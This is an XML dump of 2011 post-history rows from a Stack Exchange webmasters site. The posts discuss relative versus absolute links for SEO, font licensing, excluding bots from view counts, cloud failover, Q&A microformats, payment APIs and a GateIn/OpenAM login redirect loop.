  <row Id="26484" PostHistoryTypeId="2" PostId="11657" RevisionGUID="7add9f10-8624-4036-99f1-b6c91600b1a7" CreationDate="2011-04-05T09:58:43.733" UserId="6557" Text="Our site's navigation links are currently in relative form:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/section&quot;&gt;&#xD;&#xA;&#xD;&#xA;The SEO company I mentioned in my [previous question][1] recommends we change them to absolute links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.ourpage.com/section&quot;&gt;&#xD;&#xA;&#xD;&#xA;This is to &quot;ensure search engines get the correct and working URL for the pages&quot;. Is this really something that should be taken into account or is this another case of extra work with no added benefit?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11623/order-of-html-meta-tags" />
  <row Id="26485" PostHistoryTypeId="1" PostId="11657" RevisionGUID="7add9f10-8624-4036-99f1-b6c91600b1a7" CreationDate="2011-04-05T09:58:43.733" UserId="6557" Text="Absolute vs relative links" />
  <row Id="26486" PostHistoryTypeId="3" PostId="11657" RevisionGUID="7add9f10-8624-4036-99f1-b6c91600b1a7" CreationDate="2011-04-05T09:58:43.733" UserId="6557" Text="&lt;seo&gt;&lt;html&gt;&lt;links&gt;" />
  <row Id="26487" PostHistoryTypeId="2" PostId="11658" RevisionGUID="87d276f4-860b-407a-9f7f-4800a8251b0a" CreationDate="2011-04-05T10:14:25.373" UserId="3461" Text="It's a complex matter. If you were just using css to specify the font to render in the users machine, it'd cause rendering a font already present in the user machine, so, no issues. But Cufon seems to be actually converting the design to a vectorial shape, and making it available to every browser through a conversion to javascript. This would be actually using the design physically,(even if not using the ttf file) which might have been registered as a design. There's controversy though, in the case of fonts.&#xD;&#xA;These fonts seem not to be totally free for any use, also. they've made available for certain free uses for Powerpoint viewers, Office applications, etc.  But I'd check on each font's license to know what is allowed.&#xD;&#xA;&#xD;&#xA;The other way is simply use in css alternative ok looking fonts, and set these as optional, in the order you prefer. This, instead of embedding." />
  <row Id="26488" PostHistoryTypeId="2" PostId="11659" RevisionGUID="c272b708-b33e-4212-ae6a-b0d8ddaf88bd" CreationDate="2011-04-05T10:22:43.177" UserId="1643" Text="If the URL works for you when it's relative then it will work for search engines. I don't see any benefit to absolute links for SEO. Relative links make life easier when you change your site around as you don't have to necessarily change every link (depending on how you change your site).  I think you need a new SEO company." />
  <row Id="26489" PostHistoryTypeId="2" PostId="11660" RevisionGUID="6199c72a-bed8-4862-9b7a-faee8818ef30" CreationDate="2011-04-05T10:24:48.943" UserId="1643" Text="777 are Unix/Linux type permissions, and a Windows Server won't know how to interpret them as it doesn't have the same concepts of user/group/other, which is what each of the digits is for. As you say in the comment the way to do it is to use the control panel, or an FTP client which understands windows permissions." />
  <row Id="26490" PostHistoryTypeId="2" PostId="11661" RevisionGUID="df189fa5-d529-4540-9afb-80c323e8961d" CreationDate="2011-04-05T10:33:12.363" UserId="2748" Text="Although, it depends upon the SE, for some, providing full absolute linking, would reduce the amount of processing required to index the website, but I am not sure if this method is still used currently.&#xD;&#xA;&#xD;&#xA;However, providing absolute link, would help when the user wishes to save the content for offline reading, and then it would make it possible for him to browse back to online content from his saved offline page." />
  <row Id="26491" PostHistoryTypeId="2" PostId="11662" RevisionGUID="aede9436-a569-4031-be0d-68be003ecce0" CreationDate="2011-04-05T10:39:28.587" UserId="4033" Text="There's an article [here][1] about that. It basically says that Google crawlers are used to not being able to parse all HTML markup – be it from broken HTML, embedded XML content or from the new HTML5 tags. And there is no special attention for HTML5. &#xD;&#xA;&#xD;&#xA;So as far as understand Google does not penalize sites for using HTML5 nor it rewards using it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redsauce.com/update-on-html5-seo-and-google-how-html5-may-affect-your-page-rankings-5759" />
  <row Id="26492" PostHistoryTypeId="2" PostId="11663" RevisionGUID="6cf0ca71-d433-43b7-9327-6b6499f93f5e" CreationDate="2011-04-05T11:17:43.673" UserId="3700" Text="first of all i m sorry if i post this thread on wrong website. Now my question is:&#xD;&#xA;&#xD;&#xA;     is there any method/trick to find the programming (scripting) language of &#xD;&#xA;     a website on which that website is developed.&#xD;&#xA;&#xD;&#xA;for eg: i want to know the development language of **https://mydeco.com/**&#xD;&#xA;&#xD;&#xA;is above website is developed on **PHP**, **ASP.net**, **RUBY(ROR)** ,**PYTHON** OR any other language.&#xD;&#xA;&#xD;&#xA;please suggest how to find??&#xD;&#xA;&#xD;&#xA;Thanks for helping me always.&#xD;&#xA;&#xD;&#xA;Keshav" />
  <row Id="26493" PostHistoryTypeId="1" PostId="11663" RevisionGUID="6cf0ca71-d433-43b7-9327-6b6499f93f5e" CreationDate="2011-04-05T11:17:43.673" UserId="3700" Text="How can we find the develpoment language of a specific website??" />
  <row Id="26494" PostHistoryTypeId="3" PostId="11663" RevisionGUID="6cf0ca71-d433-43b7-9327-6b6499f93f5e" CreationDate="2011-04-05T11:17:43.673" UserId="3700" Text="&lt;web-development&gt;&lt;language&gt;" />
  <row Id="26495" PostHistoryTypeId="5" PostId="11652" RevisionGUID="6f55a5f5-d6d0-446f-b504-b110b917784b" CreationDate="2011-04-05T11:30:38.573" UserId="6113" Comment="deleted 15 characters in body" Text="Try DropBox ([http://dropbox.com][1]). This is not exactly what you have described but should be OK.&#xD;&#xA;&#xD;&#xA; 1. First, let each of your users create an account. This way they will get their individual spaces of at least 2GB.&#xD;&#xA; 2. Then, make them install DP's desktop application. This is not necessary but very helpful. All it does is synchronizing a designated folder with a user's online space.&#xD;&#xA;&#xD;&#xA;It works like every regular folder. If you drag and drop a file into it, the app will start synchronizing it with the online space. If you rename it, move it or delete it - all the changes will be reflected online, too. It is just like a mix of instant online back-up and file sharing.&#xD;&#xA;&#xD;&#xA;Now, if your users want to share some files, they can just sort them in folders in their DropBox folder and designate users with access to each folder separately. What is best about it, is that if user A allows user B access to a folder, this folder is being automatically synchronized with both users' desktops, which means that everybody is up to date with their files.&#xD;&#xA;&#xD;&#xA;It works very well and at the same time is free and simple. The functionality is very limited in terms of available options but the implementation is flexible enough so that it is easy to have a setup that is fit for various tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dropbox.com" />
  <row Id="26496" PostHistoryTypeId="5" PostId="11663" RevisionGUID="d6b0bbe0-3c38-4bfd-86b1-ab20770753c1" CreationDate="2011-04-05T11:38:32.777" UserId="3700" Comment="added 366 characters in body" Text="first of all i m sorry if i post this thread on wrong website. Now my question is:&#xD;&#xA;&#xD;&#xA;     is there any method/trick to find the programming (scripting) language of &#xD;&#xA;     a website on which that website is developed.&#xD;&#xA;&#xD;&#xA;for eg: i want to know the development language of **https://mydeco.com/**&#xD;&#xA;&#xD;&#xA;is above website is developed on **PHP**, **ASP.net**, **RUBY(ROR)** ,**PYTHON** OR any other language.&#xD;&#xA;&#xD;&#xA;please suggest how to find??&#xD;&#xA;&#xD;&#xA;Thanks for helping me always.&#xD;&#xA;&#xD;&#xA; i found a website where its display header information&#xD;&#xA;&#xD;&#xA;                &#xD;&#xA;    HTTP/1.1 301 Moved Permanently &#xD;&#xA;    Date: Tue, 05 Apr 2011 11:36:54 GMT &#xD;&#xA;    Server: Apache &#xD;&#xA;    Location: http://mydeco.com/ &#xD;&#xA;    Vary: Accept-Encoding &#xD;&#xA;    Connection: close &#xD;&#xA;    Content-Type: text/html; charset=iso-8859-1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;does anybody now can tell me the web language??&#xD;&#xA;Keshav" />
  <row Id="26497" PostHistoryTypeId="2" PostId="11664" RevisionGUID="5ec9ec8b-208f-4c36-ba14-850d1b371a30" CreationDate="2011-04-05T11:40:38.653" UserId="4461" Text="There's pros and cons to both implementations:&#xD;&#xA;&#xD;&#xA;**Absolute:** Deters scrapers (since they will have to replace all base `href` values). Allows for better testing in production sites - not relying on missing folder heirachy etc. Less overhead for URL retrieval (debated).&#xD;&#xA;&#xD;&#xA;**Relative:** Easier for development (on a staging server or local server etc) without the need of dynamic base `href`. Easier to transport or move the site to another (sub)domain/folder.&#xD;&#xA;&#xD;&#xA;So while you can see there's no *SEO* value to be had on way or the other, one thing that is commonly agreed in SEO is that &quot;***Good URLs NEVER change***&quot;, hence my (personal) preference for insisting on absolute URLs." />
  <row Id="26498" PostHistoryTypeId="5" PostId="10756" RevisionGUID="53a1ca30-77f0-47df-8cfc-3a998857ef8e" CreationDate="2011-04-05T11:41:08.143" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Will my new HTML5 website decrease my Google ranking?](http://webmasters.stackexchange.com/questions/9936/will-my-new-html5-website-decrease-my-google-ranking)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;For example, currently, I understand that search engines give the most emphasis to `h1` elements, followed by `h2`, etc. However, it is valid in HTML5 to replace what is conventionally `h2` with `h1`, encased in `article` tags.&#xD;&#xA;&#xD;&#xA;But are search engines such as Google updated to become &quot;HTML5 friendly&quot;? Or will my site somehow be penalized by some algorithm for &quot;`h1`ing incorrectly&quot;? " />
  <row Id="26499" PostHistoryTypeId="10" PostId="10756" RevisionGUID="2fa07f00-1845-47f6-a09b-fd47f426f25e" CreationDate="2011-04-05T11:41:07.940" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="26500" PostHistoryTypeId="2" PostId="11665" RevisionGUID="97e69359-afb6-4196-a852-65127efc5171" CreationDate="2011-04-05T11:44:45.847" UserId="1253" Text="According to Google both work but they recommend full URLs. From Matt Cutts:&#xD;&#xA;&#xD;&#xA;&gt; I recommend absolute links instead of&#xD;&#xA;&gt; relative links, because there's less&#xD;&#xA;&gt; chance for a spider (not just Google,&#xD;&#xA;&gt; but any spider) to get confused" />
  <row Id="26501" PostHistoryTypeId="2" PostId="11666" RevisionGUID="ba4c5784-17cb-4493-8aa6-f06263a48ba5" CreationDate="2011-04-05T11:47:37.833" UserId="1643" Text="With some sites you can look at the extensions of the filenames, but they hide them quite well. One clue is some script in the home page which begins like this:&#xD;&#xA;&#xD;&#xA;    &lt;% if (target == &quot;share&quot;) { %&gt;&#xD;&#xA;That's ASP script. &#xD;&#xA;&#xD;&#xA;However the server says it's Apache, so it's not clear what language is being used." />
  <row Id="26502" PostHistoryTypeId="2" PostId="11667" RevisionGUID="27c3a65c-b8d0-4230-ad37-966b131adfe1" CreationDate="2011-04-05T11:48:27.203" UserId="1253" Text="There's no way to be 100% sure unless they tell you (and this site doesn't seem to do so). So send them an email and see what they say." />
  <row Id="26503" PostHistoryTypeId="6" PostId="11643" RevisionGUID="740115fa-ee31-4aa8-824d-36ebb6806a06" CreationDate="2011-04-05T11:49:11.040" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag, removed &quot;website&quot; tag" Text="&lt;http&gt;&lt;looking-for-a-script&gt;&lt;ftp&gt;&lt;web-applications&gt;" />
  <row Id="26504" PostHistoryTypeId="6" PostId="11653" RevisionGUID="fd4b90d7-d23d-4186-b533-8f0f67046335" CreationDate="2011-04-05T11:49:57.687" UserId="1253" Comment="removed &quot;html php&quot; tags" Text="&lt;phpbb&gt;" />
  <row Id="26505" PostHistoryTypeId="2" PostId="11668" RevisionGUID="44addcb1-ac70-4f67-95f1-00a7cdbdd419" CreationDate="2011-04-05T11:59:57.507" UserId="6589" Text="Theoretically, SEO wise, there should not be a difference. I've written about it some time ago http://nirlevy.blogspot.com/2008/07/absolute-vs-relative-urls-and-seo.html&#xD;&#xA;&#xD;&#xA;i'll copy some of what I wrote there:&#xD;&#xA;&#xD;&#xA;&gt; There is nothing google ever wrote&#xD;&#xA;&gt; that i could find that say that&#xD;&#xA;&gt; absolute URLs are better if your site&#xD;&#xA;&gt; is only accessed by one domain name. &#xD;&#xA;&gt; &#xD;&#xA;&gt; There is one exception i can think of:&#xD;&#xA;&gt; if your domain is &quot;coolstuff.com&quot; for&#xD;&#xA;&gt; example and you do use absolute URLs,&#xD;&#xA;&gt; then the word &quot;coolstuff&quot; will appear&#xD;&#xA;&gt; in your pages alot. This might be&#xD;&#xA;&gt; something that may boost your ranking&#xD;&#xA;&gt; with regards the the word &quot;coolstuff&quot;.&#xD;&#xA;&gt; But this is just a guess." />
  <row Id="26506" PostHistoryTypeId="25" PostId="11657" RevisionGUID="ef89219a-e93f-41ea-8578-4d5fbaa4b271" CreationDate="2011-04-05T12:09:00.800" Comment="http://twitter.com/#!/StackWebmasters/status/55240519198052353" />
  <row Id="26507" PostHistoryTypeId="2" PostId="11669" RevisionGUID="905de47e-c5d7-44bb-aabd-4864e4efdfc8" CreationDate="2011-04-05T12:10:12.187" UserId="6488" Text="My website is counting visitor views on certain pages. I noticed that Google and other Bots are &quot;clicking&quot; to my site like crazy and some of the pages get unrealistic view counts (compared to those produced by humans).&#xD;&#xA;&#xD;&#xA;**I am asking for best practice to exclude those bots from my view counts.** Obvious a simple &quot;user agent&quot; contains &quot;bot&quot; won't do it.&#xD;&#xA;&#xD;&#xA;*I do not think there is a bullet prove solution nor I need one.*" />
  <row Id="26508" PostHistoryTypeId="1" PostId="11669" RevisionGUID="905de47e-c5d7-44bb-aabd-4864e4efdfc8" CreationDate="2011-04-05T12:10:12.187" UserId="6488" Text="What is the best way to exclude bots from view counts?" />
  <row Id="26509" PostHistoryTypeId="3" PostId="11669" RevisionGUID="905de47e-c5d7-44bb-aabd-4864e4efdfc8" CreationDate="2011-04-05T12:10:12.187" UserId="6488" Text="&lt;websites&gt;&lt;robots&gt;&lt;best-practices&gt;" />
  <row Id="26510" PostHistoryTypeId="6" PostId="11648" RevisionGUID="d606efb9-7486-4df6-9c4b-170773bdcdd2" CreationDate="2011-04-05T12:14:26.427" UserId="5739" Comment="edited tags" Text="&lt;sql&gt;&lt;web-platform-installer&gt;&lt;prestashop&gt;" />
  <row Id="26511" PostHistoryTypeId="2" PostId="11670" RevisionGUID="b7c823f0-5d1d-475e-93a4-343cc21fe317" CreationDate="2011-04-05T12:45:47.137" UserId="6174" Text="Does anyone know how, if possible, I can replicate a Rackspace Cloud instance X to another instance, Y, for disaster recovery? So if cloud X goes down or has a problem the website will be served from instance Y.&#xD;&#xA;&#xD;&#xA;If replication isn't possible or the best option what is? Such as using both machines in parallel and having requested routed to one or the other - and if X goes down, Y is used.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Ric" />
  <row Id="26512" PostHistoryTypeId="1" PostId="11670" RevisionGUID="b7c823f0-5d1d-475e-93a4-343cc21fe317" CreationDate="2011-04-05T12:45:47.137" UserId="6174" Text="Replicate Rackspace Cloud for Disaster Recovery?" />
  <row Id="26513" PostHistoryTypeId="3" PostId="11670" RevisionGUID="b7c823f0-5d1d-475e-93a4-343cc21fe317" CreationDate="2011-04-05T12:45:47.137" UserId="6174" Text="&lt;web-hosting&gt;&lt;cloud&gt;" />
  <row Id="26517" PostHistoryTypeId="2" PostId="11672" RevisionGUID="1d4dc414-d5ea-401c-8e1c-b2c5e7c5d3f3" CreationDate="2011-04-05T13:00:16.423" UserId="3659" Text="With the introduction of the [Semantic Web][1] we (SEO's) have the opportunity to mark-up our content in such a way that robots/crawlers have a better understanding about the meaning of our content. And, we (SEO's) are keen on presenting our website's content in such a way it matches the search query of the Google (or Bing or Yahoo) user in the best possible way. On the Search Engine side engineers are keen on providing search results that provide the best match and information related to the search query that is being used. Thus, the introduction of the rich snippet. And this might very well be the development in the transition from [Web 2.0][2] to [Web 3.0][3]?&#xD;&#xA;&#xD;&#xA;When it comes to internet users: There is an enormous amount of people that use search engines because they have a question and they are looking for the right answer to that question. As a response we now have a wide variety of question and answer (Q&amp;A) websites for a wide variety of topics. To me the logic next step would be to use a semantic markup that tells a robot/crawler what is a/the question and what are answers to that question. Even cooler is the fact that the community of a specific Q&amp;A website is able to rate (e.g. by up- or downvote or starred rating) a certain answers and can mark a question as 'the correct answer'.&#xD;&#xA;&#xD;&#xA;The search engines could interpret the markup and create a SERP containing rich snippets pointing out the Q&amp;A. Now, doesn't that provide the opportunity to present the search engine user with a search result that:&#xD;&#xA;&#xD;&#xA; 1. Matches the question;&#xD;&#xA; 2. Provides a title and description of the question;&#xD;&#xA; 3. Provides the top 'x number' of answers / best rated answers;&#xD;&#xA; 4. Provides the correct answer.&#xD;&#xA;&#xD;&#xA;The snippet could look (For Example!) like this:&#xD;&#xA;![Question and Answer Rich Snippet][4]&#xD;&#xA;&#xD;&#xA;It goes without saying that the formatting of the snippet can have many varieties, but thats not really up to me ;)&#xD;&#xA;&#xD;&#xA;I have done some research and I cannot find any markup or [microformatting][5] that support Q&amp;A semantics within a website. Is this something that is around and that I am simply missing? Or is it coming up? And what are your idea's on the formatting requirements?&#xD;&#xA;&#xD;&#xA;To me it seems perfect to have the correct answer to your question directly visible and accessible through from SERP's rich snippets...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://semanticweb.org/wiki/Main_Page&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Web_2.0&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Web_2.0#Web_3.0&#xD;&#xA;  [4]: http://i.stack.imgur.com/WudU8.png&#xD;&#xA;  [5]: http://microformats.org/" />
  <row Id="26518" PostHistoryTypeId="1" PostId="11672" RevisionGUID="1d4dc414-d5ea-401c-8e1c-b2c5e7c5d3f3" CreationDate="2011-04-05T13:00:16.423" UserId="3659" Text="Microformatting Questions &amp; Answers - Semantic web 3.0?" />
  <row Id="26519" PostHistoryTypeId="3" PostId="11672" RevisionGUID="1d4dc414-d5ea-401c-8e1c-b2c5e7c5d3f3" CreationDate="2011-04-05T13:00:16.423" UserId="3659" Text="&lt;search-engines&gt;&lt;semantic-web&gt;&lt;microformats&gt;&lt;web-3.0&gt;&lt;rich-snippets&gt;" />
  <row Id="26520" PostHistoryTypeId="2" PostId="11673" RevisionGUID="556ba005-f40b-4827-8a39-c34aa483f475" CreationDate="2011-04-05T13:12:39.520" UserId="1253" Text="There currently is no microformatting for Q&amp;A data. But I wouldn't be surprised to see it in the future as I can't imagine that the current few available formats are all there's going to be. I'm sure as microformats get flushed out and working examples become more prevalent we'll see an increase in the available microformats. Hopefully they'll be standard and we won't get into any proprietary format wars like we did with HTML tags back in the day." />
  <row Id="26521" PostHistoryTypeId="5" PostId="11672" RevisionGUID="dc818c57-df31-4011-a759-6efd88001623" CreationDate="2011-04-05T13:13:08.973" UserId="1253" Comment="Removed subjective question" Text="With the introduction of the [Semantic Web][1] we (SEO's) have the opportunity to mark-up our content in such a way that robots/crawlers have a better understanding about the meaning of our content. And, we (SEO's) are keen on presenting our website's content in such a way it matches the search query of the Google (or Bing or Yahoo) user in the best possible way. On the Search Engine side engineers are keen on providing search results that provide the best match and information related to the search query that is being used. Thus, the introduction of the rich snippet. And this might very well be the development in the transition from [Web 2.0][2] to [Web 3.0][3]?&#xD;&#xA;&#xD;&#xA;When it comes to internet users: There is an enormous amount of people that use search engines because they have a question and they are looking for the right answer to that question. As a response we now have a wide variety of question and answer (Q&amp;A) websites for a wide variety of topics. To me the logic next step would be to use a semantic markup that tells a robot/crawler what is a/the question and what are answers to that question. Even cooler is the fact that the community of a specific Q&amp;A website is able to rate (e.g. by up- or downvote or starred rating) a certain answers and can mark a question as 'the correct answer'.&#xD;&#xA;&#xD;&#xA;The search engines could interpret the markup and create a SERP containing rich snippets pointing out the Q&amp;A. Now, doesn't that provide the opportunity to present the search engine user with a search result that:&#xD;&#xA;&#xD;&#xA; 1. Matches the question;&#xD;&#xA; 2. Provides a title and description of the question;&#xD;&#xA; 3. Provides the top 'x number' of answers / best rated answers;&#xD;&#xA; 4. Provides the correct answer.&#xD;&#xA;&#xD;&#xA;The snippet could look (For Example!) like this:&#xD;&#xA;![Question and Answer Rich Snippet][4]&#xD;&#xA;&#xD;&#xA;It goes without saying that the formatting of the snippet can have many varieties, but thats not really up to me ;)&#xD;&#xA;&#xD;&#xA;I have done some research and I cannot find any markup or [microformatting][5] that support Q&amp;A semantics within a website. Is this something that is around and that I am simply missing? Or is it coming up? &#xD;&#xA;&#xD;&#xA;To me it seems perfect to have the correct answer to your question directly visible and accessible through from SERP's rich snippets...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://semanticweb.org/wiki/Main_Page&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Web_2.0&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Web_2.0#Web_3.0&#xD;&#xA;  [4]: http://i.stack.imgur.com/WudU8.png&#xD;&#xA;  [5]: http://microformats.org/" />
  <row Id="26525" PostHistoryTypeId="5" PostId="11658" RevisionGUID="e4a8bd85-3126-40cb-a0f7-be76303648de" CreationDate="2011-04-05T13:17:08.000" UserId="3461" Comment="deleted 9 characters in body; added 17 characters in body; added 2 characters in body; edited body; added 5 characters in body" Text="It's a complex matter. If you were just using css to specify the font to render in the users machine, it'd make the browser render a font already present in the user machine, so, no issues. But Cufon seems to be actually converting the design to a vectorial shape, and making it available to every browser through a conversion to javascript. This would be actually using the design physically,(even if not using the ttf file) which might have been registered as a design. There's controversy though, in the case of fonts.&#xD;&#xA;These fonts seem not to be totally free for every use, also. They've made them available for certain free uses for Powerpoint viewers, Office applications, etc.  But I'd check on each font's license to know what is allowed.&#xD;&#xA;&#xD;&#xA;The other way is simply use in css alternative ok looking fonts, and set these as optional, in the order you prefer. This, instead of embedding." />
  <row Id="26526" PostHistoryTypeId="6" PostId="11322" RevisionGUID="de395f04-40e2-46cd-a18d-c1c8c5e07067" CreationDate="2011-04-05T13:25:12.850" UserId="1253" Comment="removed &quot;web-development website-design&quot; tags, added &quot;cufon&quot; tag" Text="&lt;fonts&gt;&lt;cufon&gt;" />
  <row Id="26527" PostHistoryTypeId="6" PostId="11670" RevisionGUID="7cff3db3-4d7b-4efe-b07d-6d62dea6cacb" CreationDate="2011-04-05T13:33:01.990" UserId="1253" Comment="added &quot;rackspace&quot; tag" Text="&lt;web-hosting&gt;&lt;cloud&gt;&lt;rackspace&gt;" />
  <row Id="26528" PostHistoryTypeId="2" PostId="11674" RevisionGUID="36c88aa6-cfc2-43cf-9ab1-b4fca79878f2" CreationDate="2011-04-05T13:34:52.393" UserId="1643" Text="Load balancing will probably achieve what you want, even though the aim is to spread the load between two servers. This is available on Rackspace in beta&#xD;&#xA;http://www.rackspace.com/cloud/blog/2011/02/24/rackspace-cloud-load-balancers-beta-now-available-for-all-cloud-customers/&#xD;&#xA;&#xD;&#xA;Although they give you instructions on how to do it yourself: http://www.rackspace.com/cloud/blog/2009/11/30/simple-load-balancing-on-cloud-servers/?replytocom=9628&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26529" PostHistoryTypeId="2" PostId="11675" RevisionGUID="3729ba99-902e-4e8f-8ba8-895de74227fb" CreationDate="2011-04-05T13:38:56.633" UserId="1643" Text="If you use Javascript to count views then bots won't run it and so won't be included in your view counts. This answer may be close to what you want http://stackoverflow.com/questions/1973448/how-can-i-count-a-page-views" />
  <row Id="26530" PostHistoryTypeId="2" PostId="11676" RevisionGUID="a19f876c-7d57-4df1-927c-323926d52216" CreationDate="2011-04-05T13:42:46.323" UserId="6467" Text="There is http://www.spyfu.com/Recon/. Its a little pricey. We do something similar but no charts yet. " />
  <row Id="26531" PostHistoryTypeId="5" PostId="11669" RevisionGUID="dbc16d04-060b-415f-a07f-7b3ded650fc1" CreationDate="2011-04-05T13:44:03.740" UserId="6488" Comment="Added PHP + MySQL" Text="My website is counting visitor views on certain pages. I noticed that Google and other Bots are &quot;clicking&quot; to my site like crazy and some of the pages get unrealistic view counts (compared to those produced by humans).&#xD;&#xA;&#xD;&#xA;**I am asking for best practice to exclude those bots from my view counts.** Obvious a simple &quot;user agent&quot; contains &quot;bot&quot; won't do it.&#xD;&#xA;&#xD;&#xA;*I do not think there is a bullet prove solution nor I need one.*&#xD;&#xA;&#xD;&#xA;**Note:** I am using PHP + MySQL." />
  <row Id="26532" PostHistoryTypeId="6" PostId="11669" RevisionGUID="dbc16d04-060b-415f-a07f-7b3ded650fc1" CreationDate="2011-04-05T13:44:03.740" UserId="6488" Comment="Added PHP + MySQL" Text="&lt;php&gt;&lt;websites&gt;&lt;mysql&gt;&lt;robots&gt;&lt;best-practices&gt;" />
  <row Id="26534" PostHistoryTypeId="17" PostId="11679" RevisionGUID="c8203cd9-98db-4421-bc7e-87b2fb8cccd5" CreationDate="2011-04-05T13:47:55.260" UserId="-1" Comment="from http://stackoverflow.com/questions/5550420/making-commercial-website-like-ebay/5550489#5550489" Text="" />
  <row Id="26535" PostHistoryTypeId="17" PostId="11680" RevisionGUID="2daabd2b-80f0-4a54-9f65-cecf1c2695ea" CreationDate="2011-04-05T13:47:55.260" UserId="-1" Comment="from http://stackoverflow.com/questions/5550420/making-commercial-website-like-ebay/5550678#5550678" Text="" />
  <row Id="26536" PostHistoryTypeId="2" PostId="11679" RevisionGUID="0999e586-c642-4836-ad1e-7ef1176f8eb0" CreationDate="2011-04-05T10:36:25.373" UserDisplayName="Archimedix" Text="Use a third-party API like the one from [PayPal][1], [Amazon Flexible Payments Service][2] or [Google Checkout][3]. PayPal is supported for most countries you will likely ever do business with.&#xD;&#xA;&#xD;&#xA;Many payment systems provide a sandbox service for developer testing without real payments.&#xD;&#xA;&#xD;&#xA;Storing credit card data yourself brings with it lots of legal and security / privacy problems. You have to adhere to [PCI DSS][4] compliance rules and have to have your systems audited.&#xD;&#xA;&#xD;&#xA;Still, e-payment is a very sensitive thing and lots of things you can do wrong, and this is actually a very far-reaching question with many implications, I think.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paypal.com/&#xD;&#xA;  [2]: http://aws.amazon.com/fps/&#xD;&#xA;  [3]: http://checkout.google.com/&#xD;&#xA;  [4]: https://www.pcisecuritystandards.org/" />
  <row Id="26537" PostHistoryTypeId="2" PostId="11680" RevisionGUID="4024470f-de17-4be2-894c-58897fbdafc2" CreationDate="2011-04-05T10:53:50.400" UserId="4675" Text="there is many open source softwares that support e-payment. you can take look at them" />
  <row Id="26538" PostHistoryTypeId="2" PostId="11678" RevisionGUID="4bf6eb1b-0155-48e8-ab49-ce754321e703" CreationDate="2011-04-05T10:28:15.970" UserDisplayName="Yannik Karim Neserat" Text="How to embed `visa-buy` support to my asp.net based ecommerce site? " />
  <row Id="26539" PostHistoryTypeId="1" PostId="11678" RevisionGUID="4bf6eb1b-0155-48e8-ab49-ce754321e703" CreationDate="2011-04-05T10:28:15.970" UserDisplayName="Yannik Karim Neserat" Text="Making Commercial website like Ebay" />
  <row Id="26540" PostHistoryTypeId="3" PostId="11678" RevisionGUID="4bf6eb1b-0155-48e8-ab49-ce754321e703" CreationDate="2011-04-05T10:28:15.970" UserDisplayName="Yannik Karim Neserat" Text="&lt;asp.net&gt;&lt;ssl&gt;" />
  <row Id="26541" PostHistoryTypeId="17" PostId="11678" RevisionGUID="dc9f1493-98c0-4996-b631-efee1d1542f5" CreationDate="2011-04-05T13:47:55.260" UserId="-1" Comment="from http://stackoverflow.com/questions/5550420/making-commercial-website-like-ebay" Text="" />
  <row Id="26542" PostHistoryTypeId="2" PostId="11681" RevisionGUID="9fcfacf5-f4d9-488f-8f02-1b1f1a22d077" CreationDate="2011-04-05T11:37:46.107" UserDisplayName="user692771" Text="I'm actually trying GateIn for my firm and I don't manage to integrate OpenAM and GateIn.&#xD;&#xA;&#xD;&#xA;I follow all the steps in the GateInReference Guide but I've a problem.&#xD;&#xA;&#xD;&#xA;The scenarii of the problem is : &#xD;&#xA;&#xD;&#xA;1) Go to localhost:8080/portal&#xD;&#xA;&#xD;&#xA;2) Click sur Administrator&#xD;&#xA;&#xD;&#xA;3) I'm redirected to : openam.vauban.com:2080/openam_s952/UI/Login?realm=gatein&amp;goto=http://localhost:8080/portal/private/classic&#xD;&#xA;&#xD;&#xA;4) I filled in the form with root / gtn&#xD;&#xA;&#xD;&#xA;5) I'm redirected to localhost:8080/portal/private/classic and the page is blank and the main fact is : The system seems to redirect me to this page infinitely..&#xD;&#xA;&#xD;&#xA;Does Someone know an issue for this infinite loop ?&#xD;&#xA;&#xD;&#xA;For information, I configured my OpenAM  :&#xD;&#xA;&#xD;&#xA;to encode the cookies, &#xD;&#xA;use c66encode.&#xD;&#xA;&#xD;&#xA;Thanks&amp;Regards,&#xD;&#xA;&#xD;&#xA;François" />
  <row Id="26543" PostHistoryTypeId="1" PostId="11681" RevisionGUID="9fcfacf5-f4d9-488f-8f02-1b1f1a22d077" CreationDate="2011-04-05T11:37:46.107" UserDisplayName="user692771" Text="GateIn + OpenAM 9.5.2" />
  <row Id="26544" PostHistoryTypeId="3" PostId="11681" RevisionGUID="9fcfacf5-f4d9-488f-8f02-1b1f1a22d077" CreationDate="2011-04-05T11:37:46.107" UserDisplayName="user692771" Text="&lt;untagged&gt;" />
  <row Id="26545" PostHistoryTypeId="17" PostId="11681" RevisionGUID="ec171396-c07b-406b-8dc6-3279825d07ad" CreationDate="2011-04-05T13:54:06.667" UserId="-1" Comment="from http://stackoverflow.com/questions/5551179/gatein-openam-9-5-2" Text="" />
  <row Id="26546" PostHistoryTypeId="2" PostId="11682" RevisionGUID="40a843b5-5bbe-41e7-87f2-919761086def" CreationDate="2011-04-05T09:44:37.270" UserDisplayName="Smith" Text="I am finished with a JSP project. Now I want to host that project on Yahoo server. How can I achive this?" />
  <row Id="26547" PostHistoryTypeId="1" PostId="11682" RevisionGUID="40a843b5-5bbe-41e7-87f2-919761086def" CreationDate="2011-04-05T09:44:37.270" UserDisplayName="Smith" Text="How to host JSP project on Yahoo server?" />
